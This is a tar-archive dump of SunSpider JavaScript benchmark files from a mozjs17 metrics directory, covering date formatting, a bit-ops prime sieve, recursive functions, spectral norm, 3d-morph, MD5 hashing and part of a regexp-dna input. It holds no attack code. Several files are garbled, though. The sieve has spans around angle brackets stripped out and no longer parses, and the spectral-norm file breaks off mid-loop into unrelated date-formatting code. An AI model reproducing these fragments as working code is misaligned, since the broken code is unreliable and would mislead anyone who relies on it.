"l, F d, Y g:i:s A", MonthDayPattern: "F d", ShortTimePattern: "g:i A", LongTimePattern: "g:i:s A", SortableDateTimePattern: "Y-m-d\\TH:i:s", UniversalSortableDateTimePattern: "Y-m-d H:i:sO", YearMonthPattern: "F, Y"}; var date = new Date("1/1/2007 1:11:11"); /* BEGIN LOOP */ for (i = 0; i < 4000; ++i) { var shortFormat = date.dateFormat("Y-m-d"); var longFormat = date.dateFormat("l, F d, Y g:i:s A"); date.setTime(date.getTime() + 84266956); } /* END LOOP */ mozjs17.0.0/js/src/metrics/jint/sunspider/bitops-nsieve-bits.js0000664000175000017500000000151512106270663024520 0ustar sstanglsstangl// The Great Computer Language Shootout // http://shootout.alioth.debian.org // // Contributed by Ian Osgood function pad(n,width) { var s = n.toString(); /* BEGIN LOOP */ while (s.length < width) s = ' ' + s; /* END LOOP */ return s; } function primes(isPrime, n) { var i, count = 0, m = 10000<>5; /* BEGIN LOOP */ for (i=0; i>5] & 1<<(i&31)) { /* BEGIN LOOP */ for (var j=i+i; j>5] &= ~(1<<(j&31)); /* END LOOP */ count++; } /* END LOOP */ } function sieve() { /* BEGIN LOOP */ for (var i = 4; i <= 4; i++) { var isPrime = new Array((10000<>5); primes(isPrime, i); } /* END LOOP */ } sieve(); mozjs17.0.0/js/src/metrics/jint/sunspider/controlflow-recursive.js0000664000175000017500000000103012106270663025337 0ustar sstanglsstangl// The Computer Language Shootout // http://shootout.alioth.debian.org/ // contributed by Isaac Gouy function ack(m,n){ if (m==0) { return n+1; } if (n==0) { return ack(m-1,1); } return ack(m-1, ack(m,n-1) ); } function fib(n) { if (n < 2){ return 1; } return fib(n-2) + fib(n-1); } function tak(x,y,z) { if (y >= x) return z; return tak(tak(x-1,y,z), tak(y-1,z,x), tak(z-1,x,y)); } /* BEGIN LOOP */ for ( var i = 3; i <= 5; i++ ) { ack(3,i); fib(17.0+i); tak(3*i+3,2*i+2,i+1); } /* END LOOP */ mozjs17.0.0/js/src/metrics/jint/sunspider/math-spectral-norm.js0000664000175000017500000000220412106270663024503 0ustar sstanglsstangl// The Great Computer Language Shootout // http://shootout.alioth.debian.org/ // // contributed by Ian Osgood function A(i,j) { return 1/((i+j)*(i+j+1)/2+i+1); } function Au(u,v) { /* BEGIN LOOP */ for (var i=0; i 11? "pm" : "am"; } function A() { // Uppercase Ante meridiem and Post meridiem return self.getHours() > 11? "PM" : "AM"; } function B(){ // Swatch internet time. code simply grabbed from ppk, // since I was feeling lazy: // http://www.xs4all.nl/~ppk/js/beat.html var off = (self.getTimezoneOffset() + 60)*60; var theSeconds = (self.getHours() * 3600) + (self.getMinutes() * 60) + self.getSeconds() + off; var beat = Math.floor(theSeconds/86.4); if (beat > 1000) beat -= 1000; if (beat < 0) beat += 1000; if ((""+beat).length == 1) beat = "00"+beat; if ((""+beat).length == 2) beat = "0"+beat; return beat; } function d() { // Day of the month, 2 digits with leading zeros return new String(self.getDate()).length == 1? "0"+self.getDate() : self.getDate(); } function D() { // A textual representation of a day, three letters return daysShort[self.getDay()]; } function F() { // A full textual representation of a month return monthsLong[self.getMonth()]; } function g() { // 12-hour format of an hour without leading zeros return self.getHours() > 12? self.getHours()-12 : self.getHours(); } function G() { // 24-hour format of an hour without leading zeros return self.getHours(); } function h() { // 12-hour format of an hour with leading zeros if (self.getHours() > 12) { var s = new String(self.getHours()-12); return s.length == 1? "0"+ (self.getHours()-12) : self.getHours()-12; } else { var s = new String(self.getHours()); return s.length == 1? "0"+self.getHours() : self.getHours(); } } function H() { // 24-hour format of an hour with leading zeros return new String(self.getHours()).length == 1? "0"+self.getHours() : self.getHours(); } function i() { // Minutes with leading zeros return new String(self.getMinutes()).length == 1? "0"+self.getMinutes() : self.getMinutes(); } function j() { // Day of the month without leading zeros return self.getDate(); } function l() { // A full textual representation of the day of the week return daysLong[self.getDay()]; } function L() { // leap year or not. 1 if leap year, 0 if not. // the logic should match iso's 8601 standard. var y_ = Y(); if ( (y_ % 4 == 0 && y_ % 100 != 0) || (y_ % 4 == 0 && y_ % 100 == 0 && y_ % 400 == 0) ) { return 1; } else { return 0; } } function m() { // Numeric representation of a month, with leading zeros return self.getMonth() < 9? "0"+(self.getMonth()+1) : self.getMonth()+1; } function M() { // A short textual representation of a month, three letters return monthsShort[self.getMonth()]; } function n() { // Numeric representation of a month, without leading zeros return self.getMonth()+1; } function O() { // Difference to Greenwich time (GMT) in hours var os = Math.abs(self.getTimezoneOffset()); var h = ""+Math.floor(os/60); var m = ""+(os%60); h.length == 1? h = "0"+h:1; m.length == 1? m = "0"+m:1; return self.getTimezoneOffset() < 0 ? "+"+h+m : "-"+h+m; } function r() { // RFC 822 formatted date var r; // result // Thu , 21 Dec 2000 r = D() + ", " + j() + " " + M() + " " + Y() + // 16 : 01 : 07 +0200 " " + H() + ":" + i() + ":" + s() + " " + O(); return r; } function S() { // English ordinal suffix for the day of the month, 2 characters return daysSuffix[self.getDate()-1]; } function s() { // Seconds, with leading zeros return new String(self.getSeconds()).length == 1? "0"+self.getSeconds() : self.getSeconds(); } function t() { // thanks to Matt Bannon for some much needed code-fixes here! var daysinmonths = [null,31,28,31,30,31,30,31,31,30,31,30,31]; if (L()==1 && n()==2) return 29; // leap day return daysinmonths[n()]; } function U() { // Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT) return Math.round(self.getTime()/1000); } function W() { // Weeknumber, as per ISO specification: // http://www.cl.cam.ac.uk/~mgk25/iso-time.html // if the day is three days before newyears eve, // there's a chance it's "week 1" of next year. // here we check for that. var beforeNY = 364+L() - z(); var afterNY = z(); var weekday = w()!=0?w()-1:6; // makes sunday (0), into 6. if (beforeNY <= 2 && weekday <= 2-beforeNY) { return 1; } // similarly, if the day is within threedays of newyears // there's a chance it belongs in the old year. var ny = new Date("January 1 " + Y() + " 00:00:00"); var nyDay = ny.getDay()!=0?ny.getDay()-1:6; if ( (afterNY <= 2) && (nyDay >=4) && (afterNY >= (6-nyDay)) ) { // Since I'm not sure we can just always return 53, // i call the function here again, using the last day // of the previous year, as the date, and then just // return that week. var prevNY = new Date("December 31 " + (Y()-1) + " 00:00:00"); return prevNY.formatDate("W"); } // week 1, is the week that has the first thursday in it. // note that this value is not zero index. if (nyDay <= 3) { // first day of the year fell on a thursday, or earlier. return 1 + Math.floor( ( z() + nyDay ) / 7 ); } else { // first day of the year fell on a friday, or later. return 1 + Math.floor( ( z() - ( 7 - nyDay ) ) / 7 ); } } function w() { // Numeric representation of the day of the week return self.getDay(); } function Y() { // A full numeric representation of a year, 4 digits // we first check, if getFullYear is supported. if it // is, we just use that. ppks code is nice, but wont // work with dates outside 1900-2038, or something like that if (self.getFullYear) { var newDate = new Date("January 1 2001 00:00:00 +0000"); var x = newDate .getFullYear(); if (x == 2001) { // i trust the method now return self.getFullYear(); } } // else, do this: // codes thanks to ppk: // http://www.xs4all.nl/~ppk/js/introdate.html var x = self.getYear(); var y = x % 100; y += (y < 38) ? 2000 : 1900; return y; } function y() { // A two-digit representation of a year var y = Y()+""; return y.substring(y.length-2,y.length); } function z() { // The day of the year, zero indexed! 0 through 366 var t = new Date("January 1 " + Y() + " 00:00:00"); var diff = self.getTime() - t.getTime(); return Math.floor(diff/1000/60/60/24); } var self = this; if (time) { // save time var prevTime = self.getTime(); self.setTime(time); } var ia = input.split(""); var ij = 0; /* BEGIN LOOP */ while (ia[ij]) { if (ia[ij] == "\\") { // this is our way of allowing users to escape stuff ia.splice(ij,1); } else { if (arrayExists(switches,ia[ij])) { ia[ij] = eval(ia[ij] + "()"); } } ij++; } /* END LOOP */ // reset time, back to what it was if (prevTime) { self.setTime(prevTime); } return ia.join(""); } var date = new Date("1/1/2007 1:11:11"); /* BEGIN LOOP */ for (i = 0; i < 500; ++i) { var shortFormat = date.formatDate("Y-m-d"); var longFormat = date.formatDate("l, F d, Y g:i:s A"); date.setTime(date.getTime() + 84266956); } /* END LOOP */ mozjs17.0.0/js/src/metrics/jint/sunspider/3d-morph.js0000664000175000017500000000377712106270663022437 0ustar sstanglsstangl/* * Copyright (C) 2007 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ var loops = 15 var nx = 120 var nz = 120 function morph(a, f) { var PI2nx = Math.PI * 8/nx var sin = Math.sin var f30 = -(50 * sin(f*Math.PI*2)) /* BEGIN LOOP */ for (var i = 0; i < nz; ++i) { /* BEGIN LOOP */ for (var j = 0; j < nx; ++j) { a[3*(i*nx+j)+1] = sin((j-1) * PI2nx ) * -f30 } /* END LOOP */ } /* END LOOP */ } var a = Array() /* BEGIN LOOP */ for (var i=0; i < nx*nz*3; ++i) a[i] = 0 /* END LOOP */ /* BEGIN LOOP */ for (var i = 0; i < loops; ++i) { morph(a, i/loops) } /* END LOOP */ testOutput = 0; /* BEGIN LOOP */ for (var i = 0; i < nx; i++) testOutput += a[3*(i*nx+i)+1]; /* END LOOP */ a = null; mozjs17.0.0/js/src/metrics/jint/sunspider/crypto-md5.js0000664000175000017500000002346712106270663023007 0ustar sstanglsstangl/* * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message * Digest Algorithm, as defined in RFC 1321. * Version 2.1 Copyright (C) Paul Johnston 1999 - 2002. * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet * Distributed under the BSD License * See http://pajhome.org.uk/crypt/md5 for more info. */ /* * Configurable variables. You may need to tweak these to be compatible with * the server-side, but the defaults work in most cases. */ var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */ var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */ var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */ /* * These are the functions you'll usually want to call * They take string arguments and return either hex or base-64 encoded strings */ function hex_md5(s){ return binl2hex(core_md5(str2binl(s), s.length * chrsz));} function b64_md5(s){ return binl2b64(core_md5(str2binl(s), s.length * chrsz));} function str_md5(s){ return binl2str(core_md5(str2binl(s), s.length * chrsz));} function hex_hmac_md5(key, data) { return binl2hex(core_hmac_md5(key, data)); } function b64_hmac_md5(key, data) { return binl2b64(core_hmac_md5(key, data)); } function str_hmac_md5(key, data) { return binl2str(core_hmac_md5(key, data)); } /* * Perform a simple self-test to see if the VM is working */ function md5_vm_test() { return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"; } /* * Calculate the MD5 of an array of little-endian words, and a bit length */ function core_md5(x, len) { /* append padding */ x[len >> 5] |= 0x80 << ((len) % 32); x[(((len + 64) >>> 9) << 4) + 14] = len; var a = 1732584193; var b = -271733879; var c = -1732584194; var d = 271733878; /* BEGIN LOOP */ for(var i = 0; i < x.length; i += 16) { var olda = a; var oldb = b; var oldc = c; var oldd = d; a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936); d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586); c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819); b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330); a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897); d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426); c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341); b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983); a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416); d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417); c = md5_ff(c, d, a, b, x[i+10], 17, -42063); b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162); a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682); d = md5_ff(d, a, b, c, x[i+13], 12, -40341101); c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290); b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329); a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510); d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632); c = md5_gg(c, d, a, b, x[i+11], 14, 643717713); b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302); a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691); d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083); c = md5_gg(c, d, a, b, x[i+15], 14, -660478335); b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848); a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438); d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690); c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961); b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501); a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467); d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784); c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473); b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734); a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558); d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463); c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562); b = md5_hh(b, c, d, a, x[i+14], 23, -35309556); a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060); d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353); c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632); b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640); a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174); d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222); c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979); b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189); a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487); d = md5_hh(d, a, b, c, x[i+12], 11, -421815835); c = md5_hh(c, d, a, b, x[i+15], 16, 530742520); b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651); a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844); d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415); c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905); b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055); a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571); d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606); c = md5_ii(c, d, a, b, x[i+10], 15, -1051523); b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799); a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359); d = md5_ii(d, a, b, c, x[i+15], 10, -30611744); c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380); b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649); a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070); d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379); c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259); b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551); a = safe_add(a, olda); b = safe_add(b, oldb); c = safe_add(c, oldc); d = safe_add(d, oldd); } /* END LOOP */ return Array(a, b, c, d); } /* * These functions implement the four basic operations the algorithm uses. */ function md5_cmn(q, a, b, x, s, t) { return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b); } function md5_ff(a, b, c, d, x, s, t) { return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t); } function md5_gg(a, b, c, d, x, s, t) { return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t); } function md5_hh(a, b, c, d, x, s, t) { return md5_cmn(b ^ c ^ d, a, b, x, s, t); } function md5_ii(a, b, c, d, x, s, t) { return md5_cmn(c ^ (b | (~d)), a, b, x, s, t); } /* * Calculate the HMAC-MD5, of a key and some data */ function core_hmac_md5(key, data) { var bkey = str2binl(key); if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz); var ipad = Array(16), opad = Array(16); /* BEGIN LOOP */ for(var i = 0; i < 16; i++) { ipad[i] = bkey[i] ^ 0x36363636; opad[i] = bkey[i] ^ 0x5C5C5C5C; } /* END LOOP */ var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz); return core_md5(opad.concat(hash), 512 + 128); } /* * Add integers, wrapping at 2^32. This uses 16-bit operations internally * to work around bugs in some JS interpreters. */ function safe_add(x, y) { var lsw = (x & 0xFFFF) + (y & 0xFFFF); var msw = (x >> 16) + (y >> 16) + (lsw >> 16); return (msw << 16) | (lsw & 0xFFFF); } /* * Bitwise rotate a 32-bit number to the left. */ function bit_rol(num, cnt) { return (num << cnt) | (num >>> (32 - cnt)); } /* * Convert a string to an array of little-endian words * If chrsz is ASCII, characters >255 have their hi-byte silently ignored. */ function str2binl(str) { var bin = Array(); var mask = (1 << chrsz) - 1; /* BEGIN LOOP */ for(var i = 0; i < str.length * chrsz; i += chrsz) bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32); /* END LOOP */ return bin; } /* * Convert an array of little-endian words to a string */ function binl2str(bin) { var str = ""; var mask = (1 << chrsz) - 1; /* BEGIN LOOP */ for(var i = 0; i < bin.length * 32; i += chrsz) str += String.fromCharCode((bin[i>>5] >>> (i % 32)) & mask); /* END LOOP */ return str; } /* * Convert an array of little-endian words to a hex string. */ function binl2hex(binarray) { var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; var str = ""; /* BEGIN LOOP */ for(var i = 0; i < binarray.length * 4; i++) { str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) + hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF); } /* END LOOP */ return str; } /* * Convert an array of little-endian words to a base-64 string */ function binl2b64(binarray) { var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var str = ""; /* BEGIN LOOP */ for(var i = 0; i < binarray.length * 4; i += 3) { var triplet = (((binarray[i >> 2] >> 8 * ( i %4)) & 0xFF) << 16) | (((binarray[i+1 >> 2] >> 8 * ((i+1)%4)) & 0xFF) << 8 ) | ((binarray[i+2 >> 2] >> 8 * ((i+2)%4)) & 0xFF); /* BEGIN LOOP */ for(var j = 0; j < 4; j++) { if(i * 8 + j * 6 > binarray.length * 32) str += b64pad; else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F); } /* END LOOP */ } /* END LOOP */ return str; } var plainText = "Rebellious subjects, enemies to peace,\n\ Profaners of this neighbour-stained steel,--\n\ Will they not hear? What, ho! you men, you beasts,\n\ That quench the fire of your pernicious rage\n\ With purple fountains issuing from your veins,\n\ On pain of torture, from those bloody hands\n\ Throw your mistemper'd weapons to the ground,\n\ And hear the sentence of your moved prince.\n\ Three civil brawls, bred of an airy word,\n\ By thee, old Capulet, and Montague,\n\ Have thrice disturb'd the quiet of our streets,\n\ And made Verona's ancient citizens\n\ Cast by their grave beseeming ornaments,\n\ To wield old partisans, in hands as old,\n\ Canker'd with peace, to part your canker'd hate:\n\ If ever you disturb our streets again,\n\ Your lives shall pay the forfeit of the peace.\n\ For this time, all the rest depart away:\n\ You Capulet; shall go along with me:\n\ And, Montague, come you this afternoon,\n\ To know our further pleasure in this case,\n\ To old Free-town, our common judgment-place.\n\ Once more, on pain of death, all men depart." /* BEGIN LOOP */ for (var i = 0; i <4; i++) { plainText += plainText; } /* END LOOP */ var md5Output = hex_md5(plainText); mozjs17.0.0/js/src/metrics/jint/sunspider/regexp-dna.js0000664000175000017500000032267312106270663023037 0ustar sstanglsstangl// The Computer Language Shootout // http://shootout.alioth.debian.org/ // // contributed by Jesse Millikan // Base on the Ruby version by jose fco. gonzalez var l; var dnaInput = ">ONE Homo sapiens alu\n\ GGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGA\n\ TCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACT\n\ AAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAG\n\ GCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCG\n\ CCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGT\n\ GGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCA\n\ GGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAA\n\ TTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAG\n\ AATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCA\n\ GCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGT\n\ AATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACC\n\ AGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTG\n\ GTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACC\n\ CGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAG\n\ AGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTT\n\ TGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACA\n\ TGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCT\n\ GTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGG\n\ TTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGT\n\ CTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGG\n\ CGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCG\n\ TCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTA\n\ CTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCG\n\ AGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCG\n\ GGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACC\n\ TGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAA\n\ TACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGA\n\ GGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACT\n\ GCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTC\n\ ACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGT\n\ TCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGC\n\ CGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCG\n\ CTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTG\n\ GGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCC\n\ CAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCT\n\ GGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGC\n\ GCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGA\n\ GGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGA\n\ GACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGA\n\ GGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTG\n\ AAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAAT\n\ CCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCA\n\ GTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAA\n\ AAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGC\n\ GGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCT\n\ ACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGG\n\ GAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATC\n\ GCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGC\n\ GGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGG\n\ TCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAA\n\ AAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAG\n\ GAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACT\n\ CCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCC\n\ TGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAG\n\ ACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGC\n\ GTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGA\n\ ACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGA\n\ CAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCA\n\ CTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCA\n\ ACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCG\n\ CCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGG\n\ AGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTC\n\ CGTCTCAAAAAGGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCG\n\ AGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACC\n\ CCGTCTCTACTAAAAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAG\n\ CTACTCGGGAGGCTGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAG\n\ CCGAGATCGCGCCACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGG\n\ CCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATC\n\ ACCTGAGGTCAGGAGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAA\n\ AAATACAAAAATTAGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGC\n\ TGAGGCAGGAGAATCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCC\n\ ACTGCACTCCAGCCTGGGCGACAGAGCGAGACTCCGTCTCAAAAAGGCCGGGCGCGGTGG\n\ CTCACGCCTGTAATCCCAGCACTTTGGGAGGCCGAGGCGGGCGGATCACCTGAGGTCAGG\n\ AGTTCGAGACCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAATACAAAAATT\n\ AGCCGGGCGTGGTGGCGCGCGCCTGTAATCCCAGCTACTCGGGAGGCTGAGGCAGGAGAA\n\ TCGCTTGAACCCGGGAGGCGGAGGTTGCAGTGAGCCGAGATCGCGCCACTGCACTCCAGC\n\ 